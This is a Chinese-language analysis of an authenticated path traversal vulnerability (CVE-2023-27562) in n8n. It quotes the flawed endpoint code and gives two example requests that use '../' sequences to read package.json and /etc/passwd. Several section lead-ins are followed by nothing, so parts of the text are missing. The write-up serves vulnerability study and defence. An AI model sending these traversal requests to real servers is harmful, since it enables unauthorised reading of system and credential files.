2023年5月9日,Synacktiv披露了n8n版本号≤0.215.2中存在的多个安全问题,其中CVE-2023-27562为已认证路径穿越漏洞。该漏洞包含两个可利用点,攻击者在获取普通用户登录状态后,可利用服务端对用户输入路径拼接的不安全处理,读取服务器上的任意文件。
根据公告内容,该漏洞主要影响0.215.2及更早版本,0.216.1版本已完成修复。本文将从漏洞成因、触发点及复现方式三个维度,对该漏洞进行梳理与分析。

由于官网将0.214.下面的版本也做了更新

公开材料未提供完整补丁差异文件,但从漏洞触发点及修复版本可推测,官方修复思路主要集中在以下两个方向:
从漏洞利用链来看,问题分别出现在以下两个位置:
根据Synacktiv公告,可通过官方Docker镜像快速搭建复现环境:
复现需关注以下要点:
公告显示,服务端在packages/cli/src/Server.ts中注册了如下接口:
this.app.get(
`/${this.restEndpoint}/credential-translation`,
ResponseHelper.send(async (req, res) => {
const translationPath = getCredentialTranslationPath({
locale: this.frontendSettings.defaultLocale,
credentialType: req.query.credentialType,
});
try {
return require(translationPath);
} catch (error) {
return null;
}
}),
);
路径由getCredentialTranslationPath()函数生成:
export function getCredentialTranslationPath({
locale,
credentialType,
}: {
locale: string;
credentialType: string;
}): string {
const credsPath = join(NODES_BASE_DIR, 'dist', 'credentials');
return join(credsPath, 'translations', locale, `${credentialType}.json`);
}
问题在于:`credentialType` 完全受用户控制,且在传入 `join()` 函数前未经过任何安全过滤。攻击者只需传入 `../../` 之类的路径穿越字符,即可跳出原始目录,访问任意 `.json` 文件。
示例请求如下:
GET /rest/credential-translation?credentialType=../../../../../../../../../usr/local/lib/node_modules/n8n/package HTTP/1.1
Host: target
Cookie: n8n-auth=<有效登录态>
由于服务端最终会读取 `package.json`,因此可直接返回 n8n 安装目录下的包信息。
第二个问题存在于二进制下载接口:
this.app.get(
`/${this.restEndpoint}/data/:path`,
async (req, res): Promise<void> => {
const identifier = req.params.path;
const binaryDataManager = BinaryDataManager.getInstance();
const binaryPath = binaryDataManager.getBinaryPath(identifier);
res.sendFile(binaryPath);
},
);
后续 `BinaryDataManager` 会对用户输入进行拆分:
private splitBinaryModeFileId(fileId: string): { mode: string; id: string } {
const [mode, id] = fileId.split(':');
return { mode, id };
}
当 `mode=filesystem` 时,会进入文件系统存储分支:
getBinaryPath(identifier: string): string {
return path.join(this.storagePath, identifier);
}
此处同样未对 `identifier` 进行校验,导致攻击者可直接提交如下请求:
GET /rest/data/filesystem:../../../../../../../../../etc/passwd HTTP/1.1
Host: target
Cookie: n8n-auth=<有效登录态>
服务端会将 `../../../../.../etc/passwd` 与存储目录拼接,最终读取系统文件并原样返回。
该漏洞的根本原因是“用户输入直接参与服务端文件路径构造,且缺少路径归一化与目录边界校验”。尽管两个接口的业务场景不同——一个用于读取翻译文件,一个用于下载二进制数据,但本质问题一致。致:


在已通过认证的前提下,攻击者可执行以下操作:
`CVE-2023-27562`是一个典型的已认证路径穿越漏洞。尽管该漏洞要求攻击者需先获取登录状态,但由于n8n将用户输入直接用于构造服务端文件路径,导致攻击者能够突破业务原本限定的文件读取范围,最终实现任意文件读取。
从防御角度而言,此类问题的修复重点在于:对用户输入实施白名单约束、对路径进行归一化处理,并在最终读取文件前校验目标路径是否仍处于允许访问的目录内。对于涉及文件系统访问的接口,绝不能仅依赖`path.join()`作为安全防护措施。